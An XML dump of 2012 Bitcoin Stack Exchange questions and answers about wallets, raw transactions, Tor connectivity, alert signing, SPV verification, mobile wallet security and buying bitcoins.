  <row Id="3369" PostTypeId="2" ParentId="189" CreationDate="2012-04-06T11:55:23.880" Score="1" Body="&lt;p&gt;One more option to add to the list: You can use the blockchain.info &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;My Wallet&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=piuk.blockchain&quot; rel=&quot;nofollow&quot;&gt;Android App&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/wallet/iphone-app&quot; rel=&quot;nofollow&quot;&gt;iPhone App&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Or login through the web interface in your phones browser.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We also offer &lt;a href=&quot;https://blockchain.info/wallet/sms-phone-deposits&quot; rel=&quot;nofollow&quot;&gt;Instant SMS Deposits&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorUserId="516" LastEditDate="2013-01-18T00:21:04.013" LastActivityDate="2013-01-18T00:21:04.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3370" PostTypeId="1" AcceptedAnswerId="3384" CreationDate="2012-04-06T16:11:24.557" Score="7" ViewCount="2238" Body="&lt;p&gt;It has been mentioned a couple times here and there that &lt;a href=&quot;http://en.wikipedia.org/wiki/Len_Sassaman&quot; rel=&quot;noreferrer&quot;&gt;Len Sassaman&lt;/a&gt; was memorialised somewhere in the Block Chain. I was able to find a dump of of the &lt;a href=&quot;http://pastebin.com/raw.php?i=BUB3dygQ&quot; rel=&quot;noreferrer&quot;&gt;tribute to him&lt;/a&gt;, but I can't seem to find where in the Chain did this tribute come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the Blocks/Transactions that contain the tribute to Len Sassaman?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2022-02-03T10:44:26.117" Title="In which Block was Len Sassaman memorialised?" Tags="|transactions|script|encoding|message|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3372" PostTypeId="1" CreationDate="2012-04-06T20:59:23.427" Score="-2" ViewCount="169" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/476/why-is-my-client-software-not-receiving-bitcoins&quot;&gt;Why is my client software not receiving bitcoins?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I use an online wallet most of the time but that was recently hacked. How I have yet to determine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I have since created a new account for that system and now use two separate 128bit passwords.&#xA;So, in my infinite wisdom, about 60 minutes ago I decided to transfer that BTC from the online wallet to the local one on my linux pc.&#xA;There has yet to be a transaction pop up in the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was my coin lost in the shuffle? Or does it simply just take some time to receive coin in the &lt;em&gt;bitcoin.org&lt;/em&gt; wallet application?&lt;/p&gt;&#xA;" OwnerUserId="1252" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-04-01T08:28:25.090" Title="Help regarding an online wallet to local wallet transaction?" Tags="|wallet|confirmations|" AnswerCount="1" CommentCount="2" ClosedDate="2012-07-06T03:50:52.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="3373" PostTypeId="2" ParentId="3372" CreationDate="2012-04-06T21:01:45.063" Score="3" Body="&lt;p&gt;Try looking for your online and offline addresses here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This block explorer lists transactions that are not yet part of a block. If that transaction is found there, it probably will become part of a block soon.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-06T21:01:45.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3374" PostTypeId="1" AcceptedAnswerId="5241" CreationDate="2012-04-06T21:19:52.967" Score="86" ViewCount="37672" Body="&lt;p&gt;Given a raw, standard Tx (&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;&#xA;01&#xA;26c07ece0bce7cda0ccd14d99e205f118cde27e83dd75da7b141fe487b5528fb&#xA;00000000&#xA;8b&#xA;48304502202b7e37831273d74c8b5b1956c23e79acd660635a8d1063d413c50b218eb6bc8a022100a10a3a7b5aaa0f07827207daf81f718f51eeac96695cf1ef9f2020f21a0de02f01410452684bce6797a0a50d028e9632be0c2a7e5031b710972c2a3285520fb29fcd4ecfb5fc2bf86a1e7578e4f8a305eeb341d1c6fc0173e5837e2d3c7b178aade078&#xA;ffffffff&#xA;&#xA;02&#xA;&#xA;b06c191e01000000&#xA;19&#xA;76a9143564a74f9ddb4372301c49154605573d7d1a88fe88ac&#xA;&#xA;00e1f50500000000&#xA;19&#xA;76a914010966776006953d5567439e5e39f86a0d273bee88ac&#xA;00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a private key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does one construct a new transaction to redeem the coin from the second output? I've been trying to figure this out for a long while using &lt;a href=&quot;https://en.bitcoin.it/wiki/File:Bitcoin_OpCheckSig_InDetail.png&quot; rel=&quot;noreferrer&quot;&gt;etotheipi's diagram&lt;/a&gt;, but can't seem to grasp how a proper transaction is to be created. A step-by-step guide would be welcome.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="52909" LastEditDate="2017-07-05T12:49:08.697" LastActivityDate="2019-09-07T20:16:29.003" Title="How to redeem a basic Tx?" Tags="|transactions|protocol|development|raw|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3375" PostTypeId="1" AcceptedAnswerId="3378" CreationDate="2012-04-06T21:54:33.403" Score="4" ViewCount="219" Body="&lt;p&gt;The Bitcoin protocol lists an &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#alert&quot;&gt;Alert message&lt;/a&gt; that in the Standard Client is displayed to all users. How does the Standard Client decide which messages to forward and display, and which to ignore? Does it respond only to predefined signatures of the developers, or can anyone send their own alert messages to the Network?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-07T09:23:49.797" Title="How does Bitcoin decide which Alert messages to forward?" Tags="|protocol|bitcoin-core|signature|alert-system|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3376" PostTypeId="1" AcceptedAnswerId="3380" CreationDate="2012-04-06T21:58:46.380" Score="3" ViewCount="516" Body="&lt;p&gt;I've recently been reading the Weaknesses Wiki page on &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacking_all_users&quot; rel=&quot;nofollow&quot;&gt;&quot;Attack on all users&quot;&lt;/a&gt; and I came upon this statement:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The IP addresses of most users are totally public. You can use Tor to hide this, but the network won't work if everyone does this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which implies that a Client connecting to the Network through TOR can't fulfil all of its tasks this way. What are the limitations of a Client connecting to the Network through TOR, as opposed to a standard connection?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-07T03:47:45.633" Title="What are the limitations of a Client connecting to the Network through TOR?" Tags="|client|bitcoin-core|weaknesses|tor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3377" PostTypeId="2" ParentId="3376" CreationDate="2012-04-06T22:30:13.790" Score="2" Body="&lt;p&gt;Currently for a bitcoin node using Tor to connect to another bitcoin node it must pass through an exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is work being performed on a resolution for this as &lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=29066245&quot; rel=&quot;nofollow&quot;&gt;described here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Supporting IPv6 in a somewhat general way would pave the way for&#xA;  bitcoin functioning for example as a Tor or I2P hidden service, by&#xA;  using onioncat-like tor-encoded-in-IPv6 addresses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-06T22:30:13.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3378" PostTypeId="2" ParentId="3375" CreationDate="2012-04-06T22:38:02.113" Score="5" Body="&lt;p&gt;As described in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Alerts&quot;&gt;Alerts article&lt;/a&gt; on the Bitcoin wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Only alerts that are signed by a specific ECDSA public key are&#xA;  considered valid. A copy of the private key is held by at least&#xA;  Satoshi, Gavin, and theymos.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All alerts that have not expired are relayed but the client displays only the highest priority alert that hasn't yet expired and wasn't cancelled, I believe.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="659" LastEditDate="2012-04-07T09:23:49.797" LastActivityDate="2012-04-07T09:23:49.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3379" PostTypeId="2" ParentId="3370" CreationDate="2012-04-06T22:46:45.160" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/tx/930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72&quot; rel=&quot;nofollow&quot;&gt;930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72&lt;/a&gt;&#xA;as reported by forum user makomk &lt;a href=&quot;https://bitcointalk.org/index.php?topic=33618.msg420597#msg420597&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-06T22:46:45.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3380" PostTypeId="2" ParentId="3376" CreationDate="2012-04-07T03:47:45.633" Score="3" Body="&lt;p&gt;The Bitcoin client is designed as a peer-to-peer network. To join the network, you need to make a connection to a node that accepts incoming connections. To protect against certain types of Sybil attacks, a client tries to make 8 outbound connections to geographically diverse nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you connect to the network through &lt;code&gt;tor&lt;/code&gt;, you cannot accept inbound connections. You will consume 8 inbound connection slots that were available on the network (with the outbound connections you make), but you will not add any yourself. This can cause the network to run out of inbound connection slots, reducing the reliability of the network. The Bitcoin network, in the past, has had problems with shortages of available inbound connection slots. It's not clear exactly why, but one possibility is intentional malicious consumption of those slots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you can't fully trust clients that connect inbound to you is that an attacker can trivially consume all your inbound connection slots and all those connections can be from conspiring nodes operated by the same user. However, &lt;em&gt;you&lt;/em&gt; have complete control over who you make outbound connections to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, so long as at least one of your connections goes to a well-connected node that is not conspiring with all the other nodes you are connected to, you should be safe.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-04-07T03:47:45.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3381" PostTypeId="1" CreationDate="2012-04-07T06:01:40.033" Score="2" ViewCount="631" Body="&lt;p&gt;Is it possible to have a kind of &quot;multiparty&quot; transaction in bitcoin. For example, a protocol where say Alice and Bob send you bitcoins at the same time, but if Bob tries to break the protocol and not send bitcoins Alice will not end up sending bitcoins either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something the ensures that both send or both don't send.&lt;/p&gt;&#xA;" OwnerUserId="1258" LastActivityDate="2012-04-08T17:03:34.600" Title="Multiparty transaction" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3382" PostTypeId="2" ParentId="3381" CreationDate="2012-04-07T07:48:01.867" Score="3" Body="&lt;p&gt;There is &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_3%3a_Assurance_contracts&quot; rel=&quot;nofollow&quot;&gt;something like this described on the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: As Meni wrote in a comment below, this is more flexible than you require, since you already know who should pay, and how much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we can create a single transaction with 2 inputs, one from Alice and one from Bob, and a single output to the recipient of the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice and Bob need to both have an input in their wallet of the right size, so we don't worry about who gets the change.  Then Alice tells Bob what input she's going to use.  Bob makes a transaction including both Alice's and Bob's input, and signs his input with SIGHASH_ALL, meaning that his signature isn't valid unless Alice also signs her input.  He then sends the incomplete transaction to Alice for her to sign, she signs her input, and sends the result to the network.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-04-08T17:03:34.600" LastActivityDate="2012-04-08T17:03:34.600" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3383" PostTypeId="1" AcceptedAnswerId="3450" CreationDate="2012-04-07T08:15:44.687" Score="10" ViewCount="745" Body="&lt;p&gt;The &quot;Linode problem&quot; I'm referring to is where an external trusted party has administrative control over your device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mobile phones are essentially managed devices.  They can be fully controlled by someone other than the owner of the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, they are managed by the carrier but possibly that carrier has people that cannot be trusted or, something just as bad, has people who don't maintain secure systems themselves such as what reportedly is what happened at Linode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The importance is this.  Consider Safaricom's M-Pesa mobile payments system used widely by those in Kenya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An attack that defrauds M-Pesa's users en mass means that at some point Safaricom figures out that there's a problem, halts all affected systems to prevent further losses, and in the end eats some, most or all of the customer's losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a mobile app like &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.miracleas.bitcoin_spinner&quot;&gt;BitcoinSpinner&lt;/a&gt;, or &lt;a href=&quot;http://BlockChain.info/wallet&quot;&gt;My Wallet from BlockChain.info&lt;/a&gt; or even a hosted service like &lt;a href=&quot;https://play.google.com/store/apps/details?id=paymium.paytunia&quot;&gt;Paytunia&lt;/a&gt;'s online wallet, the risks are quite different from M-Pesa's.  The carrier doesn't promote the Bitcoin app nor offer any guarantees.  A similar attack through the managed services of the mobile carrier's network to steal bitcoins from mobiles would cause the finanical losses to afflict the individual mobile user alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like how Linode disavowed any responsibility to Slush, Bitcoinica, etc. for the tens of thousands of bitcoins lost, carriers such as AT&amp;amp;T, Vodafone and Safaricom would likely maintain the same type of position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this is a fundamental question -- is the practice of storing bitcoin private keys on the mobile something that exposes it to so much risk that it shouldn't even be considered (at least, not for amounts greater than the amount of cash one might carry in a back pocket?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are there ways to secure a mobile device so that even if some piece of malware is deployed by a carrier's rogue employee that the bitcoins would still be secure?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="659" LastEditDate="2012-04-07T09:36:29.297" LastActivityDate="2014-09-20T00:43:30.970" Title="Can a mobile be protected against the &quot;Linode problem&quot;?" Tags="|security|mobile|linode|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3384" PostTypeId="2" ParentId="3370" CreationDate="2012-04-07T08:31:08.117" Score="5" Body="&lt;p&gt;Block &lt;a href=&quot;https://www.blockchain.com/btc/block/138725&quot; rel=&quot;nofollow noreferrer&quot;&gt;138725&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Transaction &lt;a href=&quot;https://www.blockchain.com/btc/tx/930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72&quot; rel=&quot;nofollow noreferrer&quot;&gt;930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="101498" LastEditDate="2021-01-09T17:12:20.037" LastActivityDate="2021-01-09T17:12:20.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3385" PostTypeId="2" ParentId="3383" CreationDate="2012-04-07T10:56:05.083" Score="2" Body="&lt;p&gt;The answer to that depends on the scope of what the malware can do. Assuming the whole device is compromised, exposing all of our stored data as well as everything we do on it, storing your wallet on a mobile phone will result in your coins being stolen sooner or later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your coins are store in an encrypted wallet, the malware just has to wait until you input your password to decrypt your keys and your money is lost. If your wallet is unencrypted, it's all the easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could, however, still use an eWallet semi-securely if some additional measures are taken. If the service provider would provide one-time passwords that are not &lt;a href=&quot;http://en.wikipedia.org/wiki/One-time_password#Methods_of_generating_the_OTP&quot; rel=&quot;nofollow&quot;&gt;time-synchronised&lt;/a&gt;, the system could either allow for somewhat safe Bitcoin usage, or at least detecting that your system is compromised. This is how it would work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say you have a set of one time passwords numbered 1-10, and you alreay used numbers 1, 2 and 3. You log into your eWallet with your mobile phone, compromising your password, but every important action on the website requires one of the otps to be used. Should the malware try to change anything, it would use up password 4 attempt, and when you'd want to do something, you'd be prompted for password 5. Seeing that you haven't used number 4, you could suspect compromise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the malware didn't act, you could try sending a Transaction and inputting an otp, and the malware could either stop you from doing that, or perform a sort of double-spend by trying to execute a second Transaction from your eWallet in the background. If the request for a Transaction came after yours, it would not work, as it would require password 5 which you will not input, as you'd use password 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the sophistication of the malware, it is possible to develop a very specific malware that would execute its own transaction instead of yours, spoofing the website form for your inputs and tricking you into inputting the correct password for its use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, if your system is compromised, coins stored on it are as good as gone once you input the password to decrypt them. If they are stored online, there are measures to prevent their theft, but there are workarounds.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-07T10:56:05.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3386" PostTypeId="1" AcceptedAnswerId="3387" CreationDate="2012-04-07T13:48:27.757" Score="4" ViewCount="1167" Body="&lt;p&gt;Potential &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Packet_sniffing&quot; rel=&quot;noreferrer&quot;&gt;packet sniffing weakness&lt;/a&gt; has been described on the Weakness Wiki page. It states that an attacker that can see all of our internet traffic can pick up which transactions originate from our machine, thus figure out what Addresses we have in our Wallet. What are the ways one can secure one's Bitcoin Client from such an attack?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-07T21:47:24.140" Title="How to secure one's Bitcoin Client from packet sniffing?" Tags="|security|bitcoin-core|weaknesses|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3387" PostTypeId="2" ParentId="3386" CreationDate="2012-04-07T18:25:31.270" Score="4" Body="&lt;p&gt;A hacker that has physical access to your network and computers can always find a way to abuse that access but SSL is a very good deterrent and is supported by bitcoind.  Click &lt;a href=&quot;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to see a guide on enabling SSL for bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For securing the communication between nodes you might want to try &lt;a href=&quot;https://en.bitcoin.it/wiki/Tor&quot; rel=&quot;nofollow&quot;&gt;tor&lt;/a&gt;.  It basically makes sure that all traffic on your network is encrypted but still allows you to connect to an encryption-less service.&lt;/p&gt;&#xA;" OwnerDisplayName="user1261" LastEditorDisplayName="user1261" LastEditDate="2012-04-07T21:47:24.140" LastActivityDate="2012-04-07T21:47:24.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3389" PostTypeId="1" CreationDate="2012-04-08T05:47:16.753" Score="2" ViewCount="745" Body="&lt;p&gt;i'm using LinuxMint-12-lisa and installed bitcoin-qt as described&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2645/installing-bitcoin-on-ubuntu&quot;&gt;Installing Bitcoin-Qt on Ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo add-apt-repository ppa:bitcoin/bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo apt-get update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo apt-get install bitcoin-qt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin icon appeared to Application list and available to execute, but nothing happened after start. Please help&lt;/p&gt;&#xA;" OwnerUserId="1263" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-04-10T23:44:54.243" Title="Why is bitcoin-qt not launching?  Using linuxmint-12-lisa" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3390" PostTypeId="1" CreationDate="2012-04-08T16:01:35.187" Score="5" ViewCount="787" Body="&lt;p&gt;I was reading the &lt;a href=&quot;http://www.organicdesign.co.nz/files/8/89/Bitcoin.pdf&quot;&gt;original bitcoin paper&lt;/a&gt; where they mention a simplified payment verification scheme in section 8. I was wondering whether or not this actually works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick sketch: The scheme requires you to only store all the block headers (instead of the full blocks). When you need to verify a transaction, you simply need the merkle root of the transaction and see whether or not that merkle root appears somewhere in the stored block headers. If so, you know that the transaction was once verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you would not be able to use this for actually verifying new payments, right? Suppose somebody pays, and in the transaction he uses 'ins' from some other transaction. With this simplified scheme I could then check that the transaction actually happened. But I can't check that he has not already spent the money, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basicly this scheme is only useful for re-verifying an old transaction for some reason? (e.g. to confirm that someone has participated in some transaction). But it is not useful for paying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a correct interpretation of the scheme, or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="1265" LastEditorUserId="659" LastEditDate="2012-04-08T17:03:03.993" LastActivityDate="2012-04-08T18:52:37.310" Title="Does 'simplified payment verification' work?" Tags="|transactions|verification|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3391" PostTypeId="2" ParentId="3390" CreationDate="2012-04-08T18:52:37.310" Score="5" Body="&lt;p&gt;Simplified payment verification can't help much with 0-confirmation transactions. But once the payment has several confirmations, this fact alone (which the SPV client can verify) implies that the transaction is accepted by the network, so the payment is secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SPV can also be used in conjunction with a server node that has the blockchain and can verify against double-spending. The client will still want the block headers and the Merkle branch of the transaction to keep the server node honest. Without this, the server can falsely report that the client received payment; with the simplified verification, the server would have to collude with the sender.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-04-08T18:52:37.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3393" PostTypeId="1" CreationDate="2012-04-08T23:56:17.390" Score="5" ViewCount="64107" Body="&lt;p&gt;I want to Buy something using bitcoins but I am not sure how to put bitcoins in my &quot;Wallet&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody please help me?&lt;/p&gt;&#xA;" OwnerUserId="1267" LastEditorUserId="105" LastEditDate="2012-04-09T12:50:55.690" LastActivityDate="2016-09-22T09:10:07.183" Title="How do I put bitcoins in my &quot;Wallet&quot;?" Tags="|wallet|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3394" PostTypeId="1" AcceptedAnswerId="3396" CreationDate="2012-04-09T06:02:09.440" Score="6" ViewCount="1095" Body="&lt;p&gt;eBay's payments policy says that the listing must accept at least one payment method that is PayPal, credit card, etc.   It does not appear to say that other payment methods cannot be offered though.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pages.ebay.com/help/policies/accepted-payments-policy.html&quot;&gt;http://pages.ebay.com/help/policies/accepted-payments-policy.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would a listing that has in the description something like the following be a violation of that policy?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also will accept Bitcoin for payment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-09T10:45:26.327" Title="Does an eBay listing that accepts Bitcoin violate their payments policy?" Tags="|ecommerce|payment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3395" PostTypeId="2" ParentId="3393" CreationDate="2012-04-09T08:46:03.310" Score="5" Body="&lt;p&gt;When new Bitcoins are issued (7,200 per day, on average) they go to those who are mining for bitcoins.  At one point in time, mining to acquire bitcoins was something that was relatively easy to do.  That is no longer the case.  So now to acquire bitcoins one would normally buy bitcoins at an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What options are available to you will differ based on where you are, what payment methods you have available, how quickly you need the bitcoins and how many you intend to buy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, in the U.S., the fastest method to buy bitcoins is to use the service BitInstant where you deposit cash at a bank and they send the funds to an exchange.   The cheapest method is to do a bank transfer using Dwolla as intermediary -- however that is not very fast.  Other methods are shown here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then once you have purchased the bitcoins at the exchange, you would simply withdraw them and send them to a bitcoin address from your own wallet.  Using the Bitcoin.org client you would click the Receive bitcoins button and generate a new address.  That is the address you would copy and then from the exchange paste that address when asked from their withdrawal page. &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-09T08:46:03.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3396" PostTypeId="2" ParentId="3394" CreationDate="2012-04-09T10:45:26.327" Score="4" Body="&lt;p&gt;Under &amp;quot;Payment methods not allowed on eBay&amp;quot; we can see:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Send cash or money orders through instant, &lt;strong&gt;point-to-point cash transfer services (that are not banks)&lt;/strong&gt; such as Western Union or MoneyGram&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pay using online or other payment methods &lt;strong&gt;not specifically permitted&lt;/strong&gt; in this policy&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So we have two points against using Bitcoins, technically making it a violation of that policy. This question, however, would be better asked directly to eBay.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-04-09T10:45:26.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3397" PostTypeId="1" CreationDate="2012-04-09T15:08:27.320" Score="6" ViewCount="266" Body="&lt;p&gt;Are there any pools that openly discriminate against some transactions? For example, they only put transactions with a fee in their blocks, thus ignoring all &quot;free&quot; transactions?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-15T09:33:20.130" LastActivityDate="2016-03-15T09:33:20.130" Title="Do any pools discriminate against some transactions?" Tags="|mining-pools|transaction-fees|transaction-selection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3398" PostTypeId="1" AcceptedAnswerId="3401" CreationDate="2012-04-09T15:18:57.557" Score="5" ViewCount="429" Body="&lt;p&gt;Does the standard client have a preference for connecting to fallback nodes (for example, by trying to have at least 1 connection to such node at all times), or are they treated like any other nodes?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-09T17:25:54.870" Title="How often does Bitcoin connect to the fallback nodes?" Tags="|bitcoin-core|fallback-nodes|connection|peers|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
